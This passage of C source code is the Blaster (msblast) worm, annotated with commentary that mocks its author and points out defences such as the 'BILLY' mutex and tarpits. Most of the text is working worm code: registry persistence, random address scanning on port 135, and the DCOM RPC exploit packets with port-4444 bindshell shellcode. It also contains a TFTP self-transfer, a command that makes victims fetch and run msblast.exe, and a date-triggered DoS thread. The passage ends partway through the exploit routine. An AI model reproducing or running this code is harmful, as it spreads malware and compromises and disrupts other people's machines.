* Global flag to indicate this thread is running. This
* is set when the thread starts, then is cleared when
* This demonstrates that Buford isn't confident with
* multi-threaded programming -- he should just check
* the thread handle.
*/
int is_tftp_running;

/*
* When delivering the worm file to the victim, it gets the
* name by querying itself using GetModuleFilename(). This
* makes it easier to change the filename or to launch the
* worm. */
char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;


ULONG WINAPI blaster_DoS_thread(LPVOID);
void blaster_spreader();
void blaster_exploit_target(int fd, const char *victim_ip);
void blaster_send_syn_packet(int target_ip, int fd);


/***************************************************************
* This is where the 'msblast.exe' program starts running
***************************************************************/
void main(int argc, char *argv[])
{
WSADATA WSAData;
char myhostname[512];
char daystring[3];
char monthstring[3];
HKEY hKey;
int ThreadId;
register unsigned long scan_local=0;

/*
* Create a registry key that will cause this worm
* to run every time the system restarts.
* DEFENSE: Slammer was "memory-resident" and could
* be cleaned by simply rebooting the machine.
* Cleaning this worm requires this registry entry
* to be deleted.
*/
RegCreateKeyEx(
/*hKey*/ HKEY_LOCAL_MACHINE,
/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"
"CurrentVersion\\Run",
/*Reserved*/ 0,
/*lpClass*/ NULL,
/*dwOptions*/ REG_OPTION_NON_VOLATILE,
/*samDesired */ KEY_ALL_ACCESS,
/*lpSecurityAttributes*/ NULL,
/*phkResult */ &hKey,
/*lpdwDisposition */ 0);
RegSetvalueExA(
hKey,
"windows auto update",
0,
REG_SZ,
MSBLAST_EXE,
50);
RegCloseKey(hKey);


/*
* Make sure this isn't a second infection. A common problem
* with worms is that they sometimes re-infect the same
* victim repeatedly, eventually crashing it. A crashed
* system cannot spread the worm. Therefore, worm writers
* now make sure to prevent reinfections. The way Blaster
* does this is by creating a system "global" object called
* "BILLY". If another program in the computer has already
* created "BILLY", then this instance won't run.
* DEFENSE: this implies that you can remove Blaster by
* creating a mutex named "BILLY". When the computer
* restarts, Blaster will falsely believe that it has
* already infected the system and will quit.
*/
CreateMutexA(NULL, TRUE, "BILLY");
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);

/*
* Windows systems requires "WinSock" (the network API layer)
* to be initialized. Note that the SYNflood attack requires
* raw sockets to be initialized, which only works in
* version 2.2 of WinSock.
* BUFORD: The following initialization is needlessly
* complicated, and is typical of programmers who are unsure
* of their knowledge of sockets..
*/
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0
&& WSAStartup(MAKEWORD(1,1), &WSAData) != 0
&& WSAStartup(1, &WSAData) != 0)
return;

/*
* The worm needs to read itself from the disk when
* transferring to the victim. Rather than using a hard-coded
* location, it discovered the location of itself dynamically
* through this function call. This has the side effect of
* making it easier to change the name of the worm, as well
* as making it easier to launch it.
*/
GetModuleFileNameA(NULL, msblast_filename,
sizeof(msblast_filename));

/*
* When the worm infects a dialup machine, every time the user
* restarts their machine, the worm's network communication
* will cause annoying 'dial' popups for the user. This will
* make them suspect their machine is infected.
* The function call below makes sure that the worm only
* starts running once the connection to the Internet
* has been established and not before.
* BUFORD: I think Buford tested out his code on a machine
* and discovered this problem. Even though much of the
* code indicates he didn't spend much time on
* testing his worm, this line indicates that he did
* at least a little bit of testing.
*/
while (!InternetGetConnectedState(&ThreadId, 0))
Sleep (20000); /*wait 20 seconds and try again */

/*
* Initialize the low-order byte of target IP address to 0.
*/
ClassD = 0;

/*
* The worm must make decisions "randomly": each worm must
* choose different systems to infect. In order to make
* random choices, the programmer must "seed" the random
* number generator. The typical way to do this is by
* seeding it with the current timestamp.
* BUFORD: Later in this code you'll find that Buford calls
* 'srand()' many times to reseed. This is largely
* unnecessary, and again indicates that Buford is not
* confident in his programming skills, so he constantly
* reseeds the generator in order to make extra sure he
* has gotten it right.
*/
srand(GetTickCount());

/*
* This initializes the "local" network to some random
* value. The code below will attempt to figure out what
* the true local network is -- but just in case it fails,
* the initialization fails, using random values makes sure
* the worm won't do something stupid, such as scan the
* network around 0.0.0.0
*/
local_class_a = (rand() % 254)+1;
local_class_b = (rand() % 254)+1;

/*
* This discovers the local IP address used currently by this
* victim machine. Blaster randomly chooses to either infect
* just the local ClassB network, or some other network,
* therefore it needs to know the local network.
* BUFORD: The worm writer uses a complex way to print out
* the IP address into a string, then parse it back again
* to a number. This demonstrates that Buford is fairly
* new to C programming: he thinks in terms of the printed
* representation of the IP address rather than in its
* binary form.
*/
if (gethostname(myhostname, sizeof(myhostname)) != -1) {
HOSTENT *p_hostent = gethostbyname(myhostname);

if (p_hostent != NULL && p_hostent->h_addr != NULL) {
struct in_addr in;
const char *p_addr_item;

memcpy(&in, p_hostent->h_addr, sizeof(in));
sprintf(myhostname, "%s", inet_ntoa(in));

p_addr_item = strtok(myhostname, ".");
ClassA = atoi(p_addr_item);

p_addr_item = strtok(0, ".");
ClassB = atoi(p_addr_item);

p_addr_item = strtok(0, ".");
ClassC = atoi(p_addr_item);

if (ClassC > 20) {
/* When starting from victim's address range,
* try to start a little bit behind. This is
* important because the scanning logic only
* move forward. */
srand(GetTickCount());
ClassC -= (rand() % 20);
}
local_class_a = ClassA;
local_class_b = ClassB;
scan_local = TRUE;
}
}


/*
* This chooses whether Blaster will scan just the local
* network (40% chance) or a random network (60% chance)
*/
srand(GetTickCount());
if ((rand() % 20) < 12)
scan_local = FALSE;

/*
* The known exploits require the hacker to indicate whether
* the victim is WinXP or Win2k. The worm has to guess. The
* way it guesses is that it chooses randomly. 80% of the time
* it will assume that all victims are WnXP, and 20% of the
* time it will assume all victims are Win2k. This means that
* propogation among Win2k machines will be slowed down by
* the fact Win2k machines are getting DoSed faster than they
* are getting exploited.
*/
winxp1_or_win2k2 = 1;
if ((rand()%10) > 7)
winxp1_or_win2k2 = 2;

/*
* If not scanning locally, then choose a random IP address
* to start with.
* BUG: this worm choose bad ranges above 224. This will
* cause a bunch of unnecessary multicast traffic. Weird
* multicast traffic has historically been an easy way of
* detecting worm activity.
*/
if (!scan_local) {
ClassA = (rand() % 254)+1;
ClassB = (rand() % 254);
ClassC = (rand() % 254);
}


/*
* Check the date so that when in the certain range, it will
* trigger a DoS attack against Micosoft. The following
* times will trigger the DoS attack:
* Aug 16 through Aug 31
* Spt 16 through Spt 30
* Oct 16 through Oct 31
* Nov 16 through Nov 30
* Dec 16 through Dec 31
* This applies to all years, and is based on local time.
* FAQ: The worm is based on "local", not "global" time.
* That means the DoS attack will start from Japan,
* then Asia, then Europe, then the United States as the
* time moves across the globe.
*/
#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)
#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT)
GetDateformat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"d",
daystring,
sizeof(daystring));
GetDateformat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"M",
monthstring,
sizeof(monthstring));
if (atoi(daystring) > 15 && atoi(monthstring) > 8)
CreateThread(NULL, 0,
blaster_DoS_thread,
0, 0, &ThreadId);

/*
* As the final task of the program, go into worm mode
* trying to infect systems.
*/
for (;;)
blaster_spreader();

/*
* It'll never reach this point, but in theory, you need a
* WSACleanup() after a WSAStartup().
*/
WSACleanup();
}



/*
* This will be called from CreateThread in the main worm body
* right after it connects to port 4444. After the thread is
* started, it then sends the string "
* tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents
* the IP address of the attacker).
* Once it sends the string, it then waits for 20 seconds for the
* TFTP server to end. If the TFTP server doesn't end, it calls
* TerminateThread.
*/
DWORD WINAPI blaster_tftp_thread(LPVOID p)
{
/*
* This is the protocol format of a TFTP packet. This isn't
* used in the code -- I just provide it here for reference
*/
struct TFTP_Packet
{
short opcode;
short block_id;
char data[512];
};

char reqbuf[512]; /* request packet buffer */
struct sockaddr_in server; /* server-side port number */
struct sockaddr_in client; /* client IP address and port */
int sizeof_client; /* size of the client structure*/
char rspbuf[512]; /* response packet */

static int fd; /* the socket for the server*/
register FILE *fp;
register block_id;
register int block_size;

/* Set a flag indicating this thread is running. The other
* thread will check this for 20 seconds to see if the TFTP
* service is still alive. If this thread is still alive in
* 20 seconds, it will be killed.
*/
is_tftp_running = TRUE; /*1 == TRUE*/

/* Create a server-socket to listen for UDP requests on */
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd == SOCKET_ERROR)
goto closesocket_and_exit;

/* Bind the socket to 69/udp */
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(TFTP_PORT_69);
server.sin_addr.s_addr = 0; /*TFTP server addr = <any>*/
if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)
goto closesocket_and_exit;

/* Receive a packet, any packet. The contents of the received
* packet are ignored. This means, BTW, that a defensive
* "worm-kill" could send a packet from somewhere else. This
* will cause the TFTP server to download the msblast.exe
* file to the wrong location, preventing the victim from
* doing the download. */
sizeof_client = sizeof(client);
if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0,
(struct sockaddr*)&client, &sizeof_client) <= 0)
goto closesocket_and_exit;

/* The TFTP server will respond with many 512 byte blocks
* until it has completely sent the file; each block must
* have a unique ID, and each block must be acknowledged.
* BUFORD: The worm ignores TFTP ACKs. This is probably why
* the worm restarts the TFTP service rather than leaving it
* enabled: it essentially flushes all the ACKs from the
* the incoming packet queue. If the ACKs aren't flushed,
* the worm will incorrectly treat them as TFTP requests.
*/
block_id = 0;

/* Open this file. GetModuleFilename was used to figure out
* this filename. */
fp = fopen(msblast_filename, "rb");
if (fp == NULL)
goto closesocket_and_exit;

/* Continue sending file fragments until none are left */
for (;;) {
block_id++;

/* Build TFTP header */
#define TFTP_OPCODE_DATA 3
*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);
*(short*)(rspbuf+2)= htons((short)block_id);

/* Read next block of data (about 12 blocks total need
* to be read) */
block_size = fread(rspbuf+4, 1, 512, fp);

/* Increase the effective length to include the TFTP
* head built above */
block_size += 4;

/* Send this block */
if (sendto(fd, (char*)&rspbuf, block_size,
0, (struct sockaddr*)&client, sizeof_client) <= 0)
break;

/* Sleep for a bit.
* The reason for this is because the worm doesn't care
* about retransmits -- it therefore must send these
* packets slow enough so congestion doesn't drop them.
* If it misses a packet, then it will DoS the victim
* without actually infecting it. Worse: the intended
* victim will continue to send packets, preventing the
* worm from infecting new systems because the
* requests will misdirect TFTP. This design is very
* bad, and is my bet as the biggest single factor
* that slows down the worm. */
Sleep(900);

/* File transfer ends when the last block is read, which
* will likely be smaller than a full-sized block*/
if (block_size != sizeof(rspbuf)) {
fclose(fp);
fp = NULL;
break;
}
}

if (fp != NULL)
fclose(fp);

closesocket_and_exit:

/* Notify that the thread has stopped, so that the waiting
* thread can continue on */
is_tftp_running = FALSE;
closesocket(fd);
ExitThread(0);

return 0;
}




/*
* This function increments the IP address.
* BUFORD: This conversion from numbers, to strings, then back
* to number is overly complicated. Experienced programmers
* would simply store the number and increment it. This shows
* that Buford does not have much experience work with
* IP addresses.
*/
void blaster_increment_ip_address()
{
for (;;) {
if (ClassD <= 254) {
ClassD++;
return;
}

ClassD = 0;
ClassC++;
if (ClassC <= 254)
return;
ClassC = 0;
ClassB++;
if (ClassB <= 254)
return;
ClassB = 0;
ClassA++;
if (ClassA <= 254)
continue;
ClassA = 0;
return;
}
}


/*
* This is called from the main( function in an
* infinite loop. It scans the next 20 addresses,
* then exits.
*/
void blaster_spreader()
{
fd_set writefds;

register int i;
struct sockaddr_in sin;
struct sockaddr_in peer;
int sizeof_peer;
int sockarray[20];
int opt = 1;
const char *victim_ip;

/* Create the beginnings of a "socket-address" structure that
* will be used repeatedly below on the 'connect()' call for
* each socket. This structure specified port 135, which is
* the port used for RPC/DCOM. */
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(MSRCP_PORT_135);

/* Create an array of 20 socket descriptors */
for (i=0; i<20; i++) {
sockarray[i] = socket(AF_INET, SOCK_STREAM, 0);
if (sockarray[i] == -1)
return;
ioctlsocket(sockarray[i], FIONBIO , &opt);
}

/* Initiate a "non-blocking" connection on all 20 sockets
* that were created above.
* FAQ: Essentially, this means that the worm has 20
* "threads" -- even though they aren't true threads.
*/
for (i=0; i<20; i++) {
int ip;

blaster_increment_ip_address();
sprintf(target_ip_string, "%i.%i.%i.%i",
ClassA, ClassB, ClassC, ClassD);

ip = inet_addr(target_ip_string);
if (ip == -1)
return;
sin.sin_addr.s_addr = ip;
connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin));
}

/* Wait 1.8-seconds for a connection.
* BUG: this is often not enough, especially when a packet
* is lost due to congestion. A small timeout actually makes
* the worm slower than faster */
Sleep(1800);

/* Now test to see which of those 20 connections succeeded.
* BUFORD: a more experienced programmer would have done
* a single 'select()' across all sockets rather than
* repeated calls for each socket. */
for (i=0; i<20; i++) {
struct timeval timeout;
int nfds;

timeout.tv_sec = 0;
timeout.tv_usec = 0;
nfds = 0;

FD_ZERO(&writefds);
FD_SET((unsigned)sockarray[i], &writefds);

if (select(0, NULL, &writefds, NULL, &timeout) != 1) {
closesocket(sockarray[i]);
} else {
sizeof_peer = sizeof(peer);
getpeername(sockarray[i],
(struct sockaddr*)&peer, &sizeof_peer);
victim_ip = inet_ntoa(peer.sin_addr);

/* If connection succeeds, exploit the victim */
blaster_exploit_target(sockarray[i], victim_ip);
closesocket(sockarray[i]);
}
}

}

/*
* This is where the victim is actually exploited. It is the same
* exploit as created by xfocus and altered by HDMoore.
* There are a couple of differences. The first is that the in
* those older exploits, this function itself would create the
* socket and connect, whereas in Blaster, the socket is already
* connected to the victim via the scanning function above. The
* second difference is that the packets/shellcode blocks are
* declared as stack variables rather than as static globals.
* Finally, whereas the older exploits give the hacker a
* "shell prompt", this one automates usage of the shell-prompt
* to tell the victim to TFTP the worm down and run it.
*/
void blaster_exploit_target(int sock, const char *victim_ip)
{

/* These blocks of data are just the same ones copied from the
* xfocus exploit prototype. Whereas the original exploit
* declared these as "static" variables, Blaster declares
* these as "stack" variables. This is because the xfocus
* exploit altered them -- they must be reset back to their
* original values every time. */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,

0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};



unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00

,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45

,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E

,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D

,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41

,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00

,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45

,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00

,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29

,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF

,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09

,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00

,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00

,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00

,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,x00,0x00,0x00,0x46,0x3B,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00

,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E

,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00

,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00

,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00

,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00

,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00

,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};


unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"

"\xff\xff\xff\xff" /* return address */

"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */

/* port 4444 bindshell */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";



unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00

,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C

,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

int ThreadId;
int len;
int sizeof_sa;
int ret;
int opt;
void *hThread;
struct sockaddr_in target_ip;
struct sockaddr_in sa;
int fd;
char cmdstr[0x200];
int len1;
unsigned char buf2[0x1000];
int i;

/*
* Turn off non-blocking (i.e. re-enable blocking mode)
* DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc')
* will slow down the spread of this worm. It takes a long
* time for blocking calls to timeout. I had several
* thousand worms halted by my 'deredoc' tarpit.
*/
opt = 0;
ioctlsocket(sock, FIONBIO , &opt);

/*
* Choose whether the exploit targets Win2k or WinXP.
*/
if (winxp1_or_win2k2 == 1)
ret = 0x100139d;
else
ret = 0x18759f;
memcpy(sc+36, (unsigned char *) &ret, 4);

/* ----------------------------------------------
* This section is just copied from the original exploit
* script. This is the same as the scripts that have been
* widely published on the Internet. */
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;

memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);

